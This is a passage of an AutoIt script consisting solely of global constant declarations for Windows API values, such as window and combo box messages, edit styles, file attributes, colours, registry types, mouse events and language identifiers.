Global Const $htclose = 20
Global Const $hthelp = 21
Global Const $color_scrollbar = 0
Global Const $color_background = 1
Global Const $color_activecaption = 2
Global Const $color_inactivecaption = 3
Global Const $color_menu = 4
Global Const $color_window = 5
Global Const $color_windowframe = 6
Global Const $color_menutext = 7
Global Const $color_windowtext = 8
Global Const $color_captiontext = 9
Global Const $color_activeborder = 10
Global Const $color_inactiveborder = 11
Global Const $color_appworkspace = 12
Global Const $color_highlight = 13
Global Const $color_highlighttext = 14
Global Const $color_btnface = 15
Global Const $color_btnshadow = 16
Global Const $color_graytext = 17
Global Const $color_btntext = 18
Global Const $color_inactivecaptiontext = 19
Global Const $color_btnhighlight = 20
Global Const $color_3ddkshadow = 21
Global Const $color_3dlight = 22
Global Const $color_infotext = 23
Global Const $color_infobk = 24
Global Const $color_hotlight = 26
Global Const $color_gradientactivecaption = 27
Global Const $color_gradientinactivecaption = 28
Global Const $color_menuhilight = 29
Global Const $color_menubar = 30
Global Const $color_desktop = 1
Global Const $color_3dface = 15
Global Const $color_3dshadow = 16
Global Const $color_3dhighlight = 20
Global Const $color_3dhilight = 20
Global Const $color_btnhilight = 20
Global Const $hinst_commctrl = -1
Global Const $idb_std_small_color = 0
Global Const $idb_std_large_color = 1
Global Const $idb_view_small_color = 4
Global Const $idb_view_large_color = 5
Global Const $idb_hist_small_color = 8
Global Const $idb_hist_large_color = 9
Global Const $startf_forceofffeedback = 128
Global Const $startf_forceonfeedback = 64
Global Const $startf_runfullscreen = 32
Global Const $startf_usecountchars = 8
Global Const $startf_usefillattribute = 16
Global Const $startf_usehotkey = 512
Global Const $startf_useposition = 4
Global Const $startf_useshowwindow = 1
Global Const $startf_usesize = 2
Global Const $startf_usestdhandles = 256
Global Const $cdds_prepaint = 1
Global Const $cdds_postpaint = 2
Global Const $cdds_preerase = 3
Global Const $cdds_posterase = 4
Global Const $cdds_item = 65536
Global Const $cdds_itemprepaint = 65537
Global Const $cdds_itempostpaint = 65538
Global Const $cdds_itempreerase = 65539
Global Const $cdds_itemposterase = 65540
Global Const $cdds_subitem = 131072
Global Const $cdis_selected = 1
Global Const $cdis_grayed = 2
Global Const $cdis_disabled = 4
Global Const $cdis_checked = 8
Global Const $cdis_focus = 16
Global Const $cdis_default = 32
Global Const $cdis_hot = 64
Global Const $cdis_marked = 128
Global Const $cdis_indeterminate = 256
Global Const $cdis_showkeyboardcues = 512
Global Const $cdis_nearhot = 1024
Global Const $cdis_othersidehot = 2048
Global Const $cdis_drophilited = 4096
Global Const $cdrf_dodefault = 0
Global Const $cdrf_newfont = 2
Global Const $cdrf_skipdefault = 4
Global Const $cdrf_notifypostpaint = 16
Global Const $cdrf_notifyitemdraw = 32
Global Const $cdrf_notifysubitemdraw = 32
Global Const $cdrf_notifyposterase = 64
Global Const $cdrf_doerase = 8
Global Const $cdrf_skippostpaint = 256
Global Const $gui_ss_default_gui = BitOR($ws_minimizebox, $ws_caption, $ws_popup, $ws_sysmenu)
Global Const $gui_event_close = -3
Global Const $gui_event_minimize = -4
Global Const $gui_event_restore = -5
Global Const $gui_event_maximize = -6
Global Const $gui_event_primarydown = -7
Global Const $gui_event_primaryup = -8
Global Const $gui_event_secondarydown = -9
Global Const $gui_event_secondaryup = -10
Global Const $gui_event_mousemove = -11
Global Const $gui_event_resized = -12
Global Const $gui_event_dropped = -13
Global Const $gui_rundefmsg = "GUI_RUNDEFMSG"
Global Const $gui_avistop = 0
Global Const $gui_avistart = 1
Global Const $gui_aviclose = 2
Global Const $gui_checked = 1
Global Const $gui_indeterminate = 2
Global Const $gui_unchecked = 4
Global Const $gui_dropaccepted = 8
Global Const $gui_nodropaccepted = 4096
Global Const $gui_acceptfiles = $gui_dropaccepted
Global Const $gui_show = 16
Global Const $gui_hide = 32
Global Const $gui_enable = 64
Global Const $gui_disable = 128
Global Const $gui_focus = 256
Global Const $gui_nofocus = 8192
Global Const $gui_defbutton = 512
Global Const $gui_expand = 1024
Global Const $gui_ontop = 2048
Global Const $gui_fontitalic = 2
Global Const $gui_fontunder = 4
Global Const $gui_fontstrike = 8
Global Const $gui_dockauto = 1
Global Const $gui_dockleft = 2
Global Const $gui_dockright = 4
Global Const $gui_dockhcenter = 8
Global Const $gui_docktop = 32
Global Const $gui_dockbottom = 64
Global Const $gui_dockvcenter = 128
Global Const $gui_dockwidth = 256
Global Const $gui_dockheight = 512
Global Const $gui_docksize = 768
Global Const $gui_dockmenubar = 544
Global Const $gui_dockstatebar = 576
Global Const $gui_dockall = 802
Global Const $gui_dockborders = 102
Global Const $gui_gr_close = 1
Global Const $gui_gr_line = 2
Global Const $gui_gr_bezier = 4
Global Const $gui_gr_move = 6
Global Const $gui_gr_color = 8
Global Const $gui_gr_rect = 10
Global Const $gui_gr_ellipse = 12
Global Const $gui_gr_pie = 14
Global Const $gui_gr_dot = 16
Global Const $gui_gr_pixel = 18
Global Const $gui_gr_hint = 20
Global Const $gui_gr_refresh = 22
Global Const $gui_gr_pensize = 24
Global Const $gui_gr_nobkcolor = -2
Global Const $gui_bkcolor_default = -1
Global Const $gui_bkcolor_transparent = -2
Global Const $gui_bkcolor_lv_alternate = -33554432
Global Const $gui_ws_ex_parentdrag = 1048576
Global Const $cb_err = -1
Global Const $cb_errattribute = -3
Global Const $cb_errrequired = -4
Global Const $cb_errspace = -2
Global Const $cb_okay = 0
Global Const $state_system_invisible = 32768
Global Const $state_system_pressed = 8
Global Const $cbs_autohscroll = 64
Global Const $cbs_disablenoscroll = 2048
Global Const $cbs_dropdown = 2
Global Const $cbs_dropdownlist = 3
Global Const $cbs_hasstrings = 512
Global Const $cbs_lowercase = 16384
Global Const $cbs_nointegralheight = 1024
Global Const $cbs_oemconvert = 128
Global Const $cbs_ownerdrawfixed = 16
Global Const $cbs_ownerdrawvariable = 32
Global Const $cbs_simple = 1
Global Const $cbs_sort = 256
Global Const $cbs_uppercase = 8192
Global Const $cbm_first = 5888
Global Const $cb_addstring = 323
Global Const $cb_deletestring = 324
Global Const $cb_dir = 325
Global Const $cb_findstring = 332
Global Const $cb_findstringexact = 344
Global Const $cb_getcomboboxinfo = 356
Global Const $cb_getcount = 326
Global Const $cb_getcuebanner = ($cbm_first + 4)
Global Const $cb_getcursel = 327
Global Const $cb_getdroppedcontrolrect = 338
Global Const $cb_getdroppedstate = 343
Global Const $cb_getdroppedwidth = 351
Global Const $cb_geteditsel = 320
Global Const $cb_getextendedui = 342
Global Const $cb_gethorizontalextent = 349
Global Const $cb_getitemdata = 336
Global Const $cb_getitemheight = 340
Global Const $cb_getlbtext = 328
Global Const $cb_getlbtextlen = 329
Global Const $cb_getlocale = 346
Global Const $cb_getminvisible = 5890
Global Const $cb_gettopindex = 347
Global Const $cb_initstorage = 353
Global Const $cb_limittext = 321
Global Const $cb_resetcontent = 331
Global Const $cb_insertstring = 330
Global Const $cb_selectstring = 333
Global Const $cb_setcuebanner = ($cbm_first + 3)
Global Const $cb_setcursel = 334
Global Const $cb_setdroppedwidth = 352
Global Const $cb_seteditsel = 322
Global Const $cb_setextendedui = 341
Global Const $cb_sethorizontalextent = 350
Global Const $cb_setitemdata = 337
Global Const $cb_setitemheight = 339
Global Const $cb_setlocale = 345
Global Const $cb_setminvisible = 5889
Global Const $cb_settopindex = 348
Global Const $cb_showdropdown = 335
Global Const $cbn_closeup = 8
Global Const $cbn_dblclk = 2
Global Const $cbn_dropdown = 7
Global Const $cbn_editchange = 5
Global Const $cbn_editupdate = 6
Global Const $cbn_errspace = (-1)
Global Const $cbn_killfocus = 4
Global Const $cbn_selchange = 1
Global Const $cbn_selendcancel = 10
Global Const $cbn_selendok = 9
Global Const $cbn_setfocus = 3
Global Const $cbes_ex_casesensitive = 16
Global Const $cbes_ex_noeditimage = 1
Global Const $cbes_ex_noeditimageindent = 2
Global Const $cbes_ex_nosizelimit = 8
Global Const $__comboboxconstant_wm_user = 1024
Global Const $cbem_deleteitem = $cb_deletestring
Global Const $cbem_getcombocontrol = ($__comboboxconstant_wm_user + 6)
Global Const $cbem_geteditcontrol = ($__comboboxconstant_wm_user + 7)
Global Const $cbem_getexstyle = ($__comboboxconstant_wm_user + 9)
Global Const $cbem_getextendedstyle = ($__comboboxconstant_wm_user + 9)
Global Const $cbem_getimagelist = ($__comboboxconstant_wm_user + 3)
Global Const $cbem_getitema = ($__comboboxconstant_wm_user + 4)
Global Const $cbem_getitemw = ($__comboboxconstant_wm_user + 13)
Global Const $cbem_getunicodeformat = 8192 + 6
Global Const $cbem_haseditchanged = ($__comboboxconstant_wm_user + 10)
Global Const $cbem_insertitema = ($__comboboxconstant_wm_user + 1)
Global Const $cbem_insertitemw = ($__comboboxconstant_wm_user + 11)
Global Const $cbem_setexstyle = ($__comboboxconstant_wm_user + 8)
Global Const $cbem_setextendedstyle = ($__comboboxconstant_wm_user + 14)
Global Const $cbem_setimagelist = ($__comboboxconstant_wm_user + 2)
Global Const $cbem_setitema = ($__comboboxconstant_wm_user + 5)
Global Const $cbem_setitemw = ($__comboboxconstant_wm_user + 12)
Global Const $cbem_setunicodeformat = 8192 + 5
Global Const $cbem_setwindowtheme = 8192 + 11
Global Const $cben_first = (-800)
Global Const $cben_last = (-830)
Global Const $cben_beginedit = ($cben_first - 4)
Global Const $cben_deleteitem = ($cben_first - 2)
Global Const $cben_dragbegina = ($cben_first - 8)
Global Const $cben_dragbeginw = ($cben_first - 9)
Global Const $cben_endedita = ($cben_first - 5)
Global Const $cben_endeditw = ($cben_first - 6)
Global Const $cben_getdispinfo = ($cben_first - 0)
Global Const $cben_getdispinfoa = ($cben_first - 0)
Global Const $cben_getdispinfow = ($cben_first - 7)
Global Const $cben_insertitem = ($cben_first - 1)
Global Const $cbeif_di_setitem = 268435456
Global Const $cbeif_image = 2
Global Const $cbeif_indent = 16
Global Const $cbeif_lparam = 32
Global Const $cbeif_overlay = 8
Global Const $cbeif_selectedimage = 4
Global Const $cbeif_text = 1
Global Const $__comboboxconstant_ws_vscroll = 2097152
Global Const $gui_ss_default_combo = BitOR($cbs_dropdown, $cbs_autohscroll, $__comboboxconstant_ws_vscroll)
Global Const $es_left = 0
Global Const $es_center = 1
Global Const $es_right = 2
Global Const $es_multiline = 4
Global Const $es_uppercase = 8
Global Const $es_lowercase = 16
Global Const $es_password = 32
Global Const $es_autovscroll = 64
Global Const $es_autohscroll = 128
Global Const $es_nohidesel = 256
Global Const $es_oemconvert = 1024
Global Const $es_readonly = 2048
Global Const $es_wantreturn = 4096
Global Const $es_number = 8192
Global Const $ec_err = -1
Global Const $ecm_first = 5376
Global Const $em_canundo = 198
Global Const $em_charfrompos = 215
Global Const $em_emptyundobuffer = 205
Global Const $em_fmtlines = 200
Global Const $em_getcuebanner = ($ecm_first + 2)
Global Const $em_getfirstvisibleline = 206
Global Const $em_gethandle = 189
Global Const $em_getimestatus = 217
Global Const $em_getlimittext = 213
Global Const $em_getline = 196
Global Const $em_getlinecount = 186
Global Const $em_getmargins = 212
Global Const $em_getmodify = 184
Global Const $em_getpasswordchar = 210
Global Const $em_getrect = 178
Global Const $em_getsel = 176
Global Const $em_getthumb = 190
Global Const $em_getwordbreakproc = 209
Global Const $em_hideballoontip = ($ecm_first + 4)
Global Const $em_limittext = 197
Global Const $em_linefromchar = 201
Global Const $em_lineindex = 187
Global Const $em_linelength = 193
Global Const $em_linescroll = 182
Global Const $em_posfromchar = 214
Global Const $em_replacesel = 194
Global Const $em_scroll = 181
Global Const $em_scrollcaret = 183
Global Const $em_setcuebanner = ($ecm_first + 1)
Global Const $em_sethandle = 188
Global Const $em_setimestatus = 216
Global Const $em_setlimittext = $em_limittext
Global Const $em_setmargins = 211
Global Const $em_setmodify = 185
Global Const $em_setpasswordchar = 204
Global Const $em_setreadonly = 207
Global Const $em_setrect = 179
Global Const $em_setrectnp = 180
Global Const $em_setsel = 177
Global Const $em_settabstops = 203
Global Const $em_setwordbreakproc = 208
Global Const $em_showballoontip = ($ecm_first + 3)
Global Const $em_undo = 199
Global Const $ec_leftmargin = 1
Global Const $ec_rightmargin = 2
Global Const $ec_usefontinfo = 65535
Global Const $emsis_compositionstring = 1
Global Const $eimes_getcompstratonce = 1
Global Const $eimes_cancelcompstrinfocus = 2
Global Const $eimes_completecompstrkillfocus = 4
Global Const $en_align_ltr_ec = 1792
Global Const $en_align_rtl_ec = 1793
Global Const $en_change = 768
Global Const $en_errspace = 1280
Global Const $en_hscroll = 1537
Global Const $en_killfocus = 512
Global Const $en_maxtext = 1281
Global Const $en_setfocus = 256
Global Const $en_update = 1024
Global Const $en_vscroll = 1538
Global Const $tti_none = 0
Global Const $tti_info = 1
Global Const $tti_warning = 2
Global Const $tti_error = 3
Global Const $tti_info_large = 4
Global Const $tti_warning_large = 5
Global Const $tti_error_large = 6
Global Const $__editconstant_ws_vscroll = 2097152
Global Const $__editconstant_ws_hscroll = 1048576
Global Const $gui_ss_default_edit = BitOR($es_wantreturn, $__editconstant_ws_vscroll, $__editconstant_ws_hscroll, $es_autovscroll, $es_autohscroll)
Global Const $gui_ss_default_input = BitOR($es_left, $es_autohscroll)
Global Const $fc_nooverwrite = 0
Global Const $fc_overwrite = 1
Global Const $ft_modified = 0
Global Const $ft_created = 1
Global Const $ft_accessed = 2
Global Const $fo_read = 0
Global Const $fo_append = 1
Global Const $fo_overwrite = 2
Global Const $fo_binary = 16
Global Const $fo_unicode = 32
Global Const $fo_utf16_le = 32
Global Const $fo_utf16_be = 64
Global Const $fo_utf8 = 128
Global Const $fo_utf8_nobom = 256
Global Const $eof = -1
Global Const $fd_filemustexist = 1
Global Const $fd_pathmustexist = 2
Global Const $fd_multiselect = 4
Global Const $fd_promptcreatenew = 8
Global Const $fd_promptoverwrite = 16
Global Const $create_new = 1
Global Const $create_always = 2
Global Const $open_existing = 3
Global Const $open_always = 4
Global Const $truncate_existing = 5
Global Const $invalid_set_file_pointer = -1
Global Const $file_begin = 0
Global Const $file_current = 1
Global Const $file_end = 2
Global Const $file_attribute_readonly = 1
Global Const $file_attribute_hidden = 2
Global Const $file_attribute_system = 4
Global Const $file_attribute_directory = 16
Global Const $file_attribute_archive = 32
Global Const $file_attribute_device = 64
Global Const $file_attribute_normal = 128
Global Const $file_attribute_temporary = 256
Global Const $file_attribute_sparse_file = 512
Global Const $file_attribute_reparse_point = 1024
Global Const $file_attribute_compressed = 2048
Global Const $file_attribute_offline = 4096
Global Const $file_attribute_not_content_indexed = 8192
Global Const $file_attribute_encrypted = 16384
Global Const $file_share_read = 1
Global Const $file_share_write = 2
Global Const $file_share_delete = 4
Global Const $generic_all = 268435456
Global Const $generic_execute = 536870912
Global Const $generic_write = 1073741824
Global Const $generic_read = -2147483648
Global Const $ddl_archive = 32
Global Const $ddl_directory = 16
Global Const $ddl_drives = 16384
Global Const $ddl_exclusive = 32768
Global Const $ddl_hidden = 2
Global Const $ddl_readonly = 1
Global Const $ddl_readwrite = 0
Global Const $ddl_system = 4
Global Const $color_aqua = 65535
Global Const $color_black = 0
Global Const $color_blue = 255
Global Const $color_cream = 16776176
Global Const $color_fuchsia = 16711935
Global Const $color_gray = 8421504
Global Const $color_green = 32768
Global Const $color_lime = 65280
Global Const $color_maroon = 9116770
Global Const $color_medblue = 708
Global Const $color_medgray = 10526884
Global Const $color_moneygreen = 12639424
Global Const $color_navy = 128
Global Const $color_olive = 8421376
Global Const $color_purple = 8388736
Global Const $color_red = 16711680
Global Const $color_silver = 12632256
Global Const $color_skyblue = 10930928
Global Const $color_teal = 32896
Global Const $color_white = 16777215
Global Const $color_yellow = 16776960
Global Const $clr_none = -1
Global Const $clr_default = -16777216
Global Const $clr_aqua = 16776960
Global Const $clr_black = 0
Global Const $clr_blue = 16711680
Global Const $clr_cream = 15793151
Global Const $clr_fuchsia = 16711935
Global Const $clr_gray = 8421504
Global Const $clr_green = 32768
Global Const $clr_lime = 65280
Global Const $clr_maroon = 6429835
Global Const $clr_medblue = 12845568
Global Const $clr_medgray = 10789024
Global Const $clr_moneygreen = 12639424
Global Const $clr_navy = 8388608
Global Const $clr_olive = 32896
Global Const $clr_purple = 8388736
Global Const $clr_red = 255
Global Const $clr_silver = 12632256
Global Const $clr_skyblue = 15780518
Global Const $clr_teal = 8421376
Global Const $clr_white = 16777215
Global Const $clr_yellow = 65535
Global Const $cc_anycolor = 256
Global Const $cc_fullopen = 2
Global Const $cc_rgbinit = 1
Global Const $opt_coordsrelative = 0
Global Const $opt_coordsabsolute = 1
Global Const $opt_coordsclient = 2
Global Const $opt_errorsilent = 0
Global Const $opt_errorfatal = 1
Global Const $opt_capsnostore = 0
Global Const $opt_capsstore = 1
Global Const $opt_matchstart = 1
Global Const $opt_matchany = 2
Global Const $opt_matchexact = 3
Global Const $opt_matchadvanced = 4
Global Const $ccs_top = 1
Global Const $ccs_nomovey = 2
Global Const $ccs_bottom = 3
Global Const $ccs_noresize = 4
Global Const $ccs_noparentalign = 8
Global Const $ccs_nohilite = 16
Global Const $ccs_adjustable = 32
Global Const $ccs_nodivider = 64
Global Const $ccs_vert = 128
Global Const $ccs_left = 129
Global Const $ccs_nomovex = 130
Global Const $ccs_right = 131
Global Const $di_mask = 1
Global Const $di_image = 2
Global Const $di_normal = 3
Global Const $di_compat = 4
Global Const $di_defaultsize = 8
Global Const $di_nomirror = 16
Global Const $display_device_attached_to_desktop = 1
Global Const $display_device_multi_driver = 2
Global Const $display_device_primary_device = 4
Global Const $display_device_mirroring_driver = 8
Global Const $display_device_vga_compatible = 16
Global Const $display_device_removable = 32
Global Const $display_device_disconnect = 33554432
Global Const $display_device_remote = 67108864
Global Const $display_device_modespruned = 134217728
Global Const $flashw_caption = 1
Global Const $flashw_tray = 2
Global Const $flashw_timer = 4
Global Const $flashw_timernofg = 12
Global Const $format_message_allocate_buffer = 256
Global Const $format_message_ignore_inserts = 512
Global Const $format_message_from_string = 1024
Global Const $format_message_from_hmodule = 2048
Global Const $format_message_from_system = 4096
Global Const $format_message_argument_array = 8192
Global Const $gw_hwndfirst = 0
Global Const $gw_hwndlast = 1
Global Const $gw_hwndnext = 2
Global Const $gw_hwndprev = 3
Global Const $gw_owner = 4
Global Const $gw_child = 5
Global Const $gwl_wndproc = -4
Global Const $gwl_hinstance = -6
Global Const $gwl_hwndparent = -8
Global Const $gwl_id = -12
Global Const $gwl_style = -16
Global Const $gwl_exstyle = -20
Global Const $gwl_userdata = -21
Global Const $std_cut = 0
Global Const $std_copy = 1
Global Const $std_paste = 2
Global Const $std_undo = 3
Global Const $std_redow = 4
Global Const $std_delete = 5
Global Const $std_filenew = 6
Global Const $std_fileopen = 7
Global Const $std_filesave = 8
Global Const $std_printpre = 9
Global Const $std_properties = 10
Global Const $std_help = 11
Global Const $std_find = 12
Global Const $std_replace = 13
Global Const $std_print = 14
Global Const $lr_defaultcolor = 0
Global Const $lr_monochrome = 1
Global Const $lr_color = 2
Global Const $lr_copyreturnorg = 4
Global Const $lr_copydeleteorg = 8
Global Const $lr_loadfromfile = 16
Global Const $lr_loadtransparent = 32
Global Const $lr_defaultsize = 64
Global Const $lr_vgacolor = 128
Global Const $lr_loadmap3dcolors = 4096
Global Const $lr_createdibsection = 8192
Global Const $lr_copyfromresource = 16384
Global Const $lr_shared = 32768
Global Const $image_bitmap = 0
Global Const $image_icon = 1
Global Const $image_cursor = 2
Global Const $kb_sendspecial = 0
Global Const $kb_sendraw = 1
Global Const $kb_capsoff = 0
Global Const $kb_capson = 1
Global Const $dont_resolve_dll_references = 1
Global Const $load_library_as_datafile = 2
Global Const $load_with_altered_search_path = 8
Global Const $objid_window = 0
Global Const $objid_titlebar = -2
Global Const $objid_sizegrip = -7
Global Const $objid_caret = -8
Global Const $objid_cursor = -9
Global Const $objid_alert = -10
Global Const $objid_sound = -11
Global Const $vk_down = 40
Global Const $vk_end = 35
Global Const $vk_home = 36
Global Const $vk_left = 37
Global Const $vk_next = 34
Global Const $vk_prior = 33
Global Const $vk_right = 39
Global Const $vk_up = 38
Global Const $vk_lbutton = 1
Global Const $vk_rbutton = 2
Global Const $vk_mbutton = 4
Global Const $mb_ok = 0
Global Const $mb_okcancel = 1
Global Const $mb_abortretryignore = 2
Global Const $mb_yesnocancel = 3
Global Const $mb_yesno = 4
Global Const $mb_retrycancel = 5
Global Const $mb_iconhand = 16
Global Const $mb_iconquestion = 32
Global Const $mb_iconexclamation = 48
Global Const $mb_iconasterisk = 64
Global Const $mb_defbutton1 = 0
Global Const $mb_defbutton2 = 256
Global Const $mb_defbutton3 = 512
Global Const $mb_applmodal = 0
Global Const $mb_systemmodal = 4096
Global Const $mb_taskmodal = 8192
Global Const $mb_topmost = 262144
Global Const $mb_rightjustified = 524288
Global Const $idtimeout = -1
Global Const $idok = 1
Global Const $idcancel = 2
Global Const $idabort = 3
Global Const $idretry = 4
Global Const $idignore = 5
Global Const $idyes = 6
Global Const $idno = 7
Global Const $idtryagain = 10
Global Const $idcontinue = 11
Global Const $dlg_notitle = 1
Global Const $dlg_notontop = 2
Global Const $dlg_textleft = 4
Global Const $dlg_textright = 8
Global Const $dlg_moveable = 16
Global Const $dlg_textvcenter = 32
Global Const $tip_iconnone = 0
Global Const $tip_iconasterisk = 1
Global Const $tip_iconexclamation = 2
Global Const $tip_iconhand = 3
Global Const $tip_nosound = 16
Global Const $idc_unknown = 0
Global Const $idc_appstarting = 1
Global Const $idc_arrow = 2
Global Const $idc_cross = 3
Global Const $idc_hand = 32649
Global Const $idc_help = 4
Global Const $idc_ibeam = 5
Global Const $idc_icon = 6
Global Const $idc_no = 7
Global Const $idc_size = 8
Global Const $idc_sizeall = 9
Global Const $idc_sizenesw = 10
Global Const $idc_sizens = 11
Global Const $idc_sizenwse = 12
Global Const $idc_sizewe = 13
Global Const $idc_uparrow = 14
Global Const $idc_wait = 15
Global Const $idi_application = 32512
Global Const $idi_asterisk = 32516
Global Const $idi_exclamation = 32515
Global Const $idi_hand = 32513
Global Const $idi_question = 32514
Global Const $idi_winlogo = 32517
Global Const $sd_logoff = 0
Global Const $sd_shutdown = 1
Global Const $sd_reboot = 2
Global Const $sd_force = 4
Global Const $sd_powerdown = 8
Global Const $str_nocasesense = 0
Global Const $str_casesense = 1
Global Const $str_stripleading = 1
Global Const $str_striptrailing = 2
Global Const $str_stripspaces = 4
Global Const $str_stripall = 8
Global Const $tray_item_exit = 3
Global Const $tray_item_pause = 4
Global Const $tray_item_first = 7
Global Const $tray_checked = 1
Global Const $tray_unchecked = 4
Global Const $tray_enable = 64
Global Const $tray_disable = 128
Global Const $tray_focus = 256
Global Const $tray_default = 512
Global Const $tray_event_showicon = -3
Global Const $tray_event_hideicon = -4
Global Const $tray_event_flashicon = -5
Global Const $tray_event_noflashicon = -6
Global Const $tray_event_primarydown = -7
Global Const $tray_event_primaryup = -8
Global Const $tray_event_secondarydown = -9
Global Const $tray_event_secondaryup = -10
Global Const $tray_event_mouseover = -11
Global Const $tray_event_mouseout = -12
Global Const $tray_event_primarydouble = -13
Global Const $tray_event_secondarydouble = -14
Global Const $stdin_child = 1
Global Const $stdout_child = 2
Global Const $stderr_child = 4
Global Const $stderr_merged = 8
Global Const $stdio_inherit_parent = 16
Global Const $run_create_new_console = 65536
Global Const $mouseeventf_absolute = 32768
Global Const $mouseeventf_move = 1
Global Const $mouseeventf_leftdown = 2
Global Const $mouseeventf_leftup = 4
Global Const $mouseeventf_rightdown = 8
Global Const $mouseeventf_rightup = 16
Global Const $mouseeventf_middledown = 32
Global Const $mouseeventf_middleup = 64
Global Const $mouseeventf_wheel = 2048
Global Const $mouseeventf_xdown = 128
Global Const $mouseeventf_xup = 256
Global Const $reg_none = 0
Global Const $reg_sz = 1
Global Const $reg_expand_sz = 2
Global Const $reg_binary = 3
Global Const $reg_dword = 4
Global Const $reg_dword_big_endian = 5
Global Const $reg_link = 6
Global Const $reg_multi_sz = 7
Global Const $reg_resource_list = 8
Global Const $reg_full_resource_descriptor = 9
Global Const $reg_resource_requirements_list = 10
Global Const $hwnd_bottom = 1
Global Const $hwnd_notopmost = -2
Global Const $hwnd_top = 0
Global Const $hwnd_topmost = -1
Global Const $swp_nosize = 1
Global Const $swp_nomove = 2
Global Const $swp_nozorder = 4
Global Const $swp_noredraw = 8
Global Const $swp_noactivate = 16
Global Const $swp_framechanged = 32
Global Const $swp_drawframe = 32
Global Const $swp_showwindow = 64
Global Const $swp_hidewindow = 128
Global Const $swp_nocopybits = 256
Global Const $swp_noownerzorder = 512
Global Const $swp_noreposition = 512
Global Const $swp_nosendchanging = 1024
Global Const $swp_defererase = 8192
Global Const $swp_asyncwindowpos = 16384
Global Const $lang_afrikaans = 54
Global Const $lang_albanian = 28
Global Const $lang_arabic = 1
Global Const $lang_armenian = 43
Global Const $lang_assamese = 77
Global Const $lang_azeri = 44
Global Const $lang_basque = 45
Global Const $lang_belarusian = 35
Global Const $lang_bengali = 69
Global Const $lang_bulgarian = 2
Global Const $lang_catalan = 3
Global Const $lang_chinese = 4
Global Const $lang_croatian = 26
Global Const $lang_czech = 5
Global Const $lang_danish = 6
Global Const $lang_dutch = 19
Global Const $lang_english = 9
Global Const $lang_estonian = 37
Global Const $lang_faeroese = 56
Global Const $lang_farsi = 41
Global Const $lang_finnish = 11
Global Const $lang_french = 156
Global Const $lang_georgian = 55
Global Const $lang_german = 7
Global Const $lang_greek = 8
Global Const $lang_gujarati = 71
Global Const $lang_hebrew = 13
Global Const $lang_hindi = 57
Global Const $lang_hungarian = 14
Global Const $lang_icelandic = 15
Global Const $lang_indonesian = 33
Global Const $lang_italian = 16
Global Const $lang_japanese = 17
Global Const $lang_kannada = 75
Global Const $lang_kashmiri = 96
Global Const $lang_kazak = 63
Global Const $lang_konkani = 87
Global Const $lang_korean = 18
Global Const $lang_latvian = 38
Global Const $lang_lithuanian = 39
Global Const $lang_macedonian = 47
Global Const $lang_malay = 62
Global Const $lang_malayalam = 76
Global Const $lang_manipuri = 88
Global Const $lang_marathi = 78
Global Const $lang_nepali = 97
Global Const $lang_neutral = 0
Global Const $lang_norwegian = 20
Global Const $lang_oriya = 72
Global Const $lang_polish = 21
Global Const $lang_portuguese = 22
Global Const $lang_punjabi = 70
Global Const $lang_romanian = 24
Global Const $lang_russian = 25
Global Const $lang_sanskrit = 79
Global Const $lang_serbian = 26
Global Const $lang_sindhi = 89
Global Const $lang_slovak = 27
Global Const $lang_slovenian = 36
Global Const $lang_spanish = 10
Global Const $lang_swahili = 65
Global Const $lang_swedish = 29
Global Const $lang_tamil = 73
Global Const $lang_tatar = 68
Global Const $lang_telugu = 74
Global Const $lang_thai = 30
Global Const $lang_turkish = 31
Global Const $lang_ukrainian = 34
Global Const $lang_urdu = 32
Global Const $lang_uzbek = 67
Global Const $lang_vietnamese = 42
Global Const $sublang_arabic_algeria = 5
Global Const $sublang_arabic_bahrain = 15
Global Const $sublang_arabic_egypt = 3
Global Const $sublang_arabic_iraq = 2
Global Const $sublang_arabic_jordan = 11
Global Const $sublang_arabic_kuwait = 13
Global Const $sublang_arabic_lebanon = 12
Global Const $sublang_arabic_libya = 4
Global Const $sublang_arabic_morocco = 6
Global Const $sublang_arabic_oman = 8
Global Const $sublang_arabic_qatar = 16
Global Const $sublang_arabic_saudi_arabia = 1
Global Const $sublang_arabic_syria = 10
Global Const $sublang_arabic_tunisia = 7
Global Const $sublang_arabic_uae = 14
Global Const $sublang_arabic_yemen = 9
Global Const $sublang_azeri_cyrillic = 2
Global Const $sublang_azeri_latin = 1
Global Const $sublang_chinese_hongkong = 3
Global Const $sublang_chinese_macau = 5
Global Const $sublang_chinese_simplified = 2
Global Const $sublang_chinese_singapore = 4
Global Const $sublang_chinese_traditional = 1
Global Const $sublang_default = 1
Global Const $sublang_dutch = 1
Global Const $sublang_dutch_belgian = 2
Global Const $sublang_english_aus = 3
Global Const $sublang_english_belize = 10
Global Const $sublang_english_can = 4
Global Const $sublang_english_caribbean = 9
Global Const $sublang_english_eire = 6
Global Const $sublang_english_jamaica = 8
Global Const $sublang_english_nz = 5
Global Const $sublang_english_philippines = 13
Global Const $sublang_english_south_africa = 7
Global Const $sublang_english_trinidad = 11
Global Const $sublang_english_uk = 2
Global Const $sublang_english_us = 1
Global Const $sublang_english_zimbabwe = 12
Global Const $sublang_french = 1
Global Const $sublang_french_belgian = 2
Global Const $sublang_french_canadian = 3
Global Const $sublang_french_luxembourg = 5
Global Const $sublang_french_monaco = 6
Global Const $sublang_french_swiss = 4
Global Const $sublang_german = 1
Global Const $sublang_german_austrian = 3
Global Const $sublang_german_liechtenstein = 5
Global Const $sublang_german_luxembourg = 4
Global Const $sublang_german_swiss = 2
Global Const $sublang_italian = 1
Global Const $sublang_italian_swiss = 2
Global Const $sublang_kashmiri_india = 2
Global Const $sublang_korean = 1
Global Const $sublang_lithuanian = 1
Global Const $sublang_malay_brunei_darussalam = 2
Global Const $sublang_malay_malaysia = 1
Global Const $sublang_nepali_india = 2
Global Const $sublang_neutral = 0
Global Const $sublang_norwegian_bokmal = 1
Global Const $sublang_norwegian_nynorsk = 2
Global Const $sublang_portuguese = 2
Global Const $sublang_portuguese_brazilian = 1
Global Const $sublang_serbian_cyrillic = 3
Global Const $sublang_serbian_latin = 2
Global Const $sublang_spanish = 1
Global Const $sublang_spanish_argentina = 11
Global Const $sublang_spanish_bolivia = 16
Global Const $sublang_spanish_chile = 13
Global Const $sublang_spanish_colombia = 9
Global Const $sublang_spanish_costa_rica = 5
Global Const $sublang_spanish_dominican_republic = 7
Global Const $sublang_spanish_ecuador = 12
Global Const $sublang_spanish_el_salvador = 17
Global Const $sublang_spanish_guatemala = 4
Global Const $sublang_spanish_honduras = 18
Global Const $sublang_spanish_mexican = 2
Global Const $sublang_spanish_modern = 3
Global Const $sublang_spanish_nicaragua = 19
Global Const $sublang_spanish_panama = 6
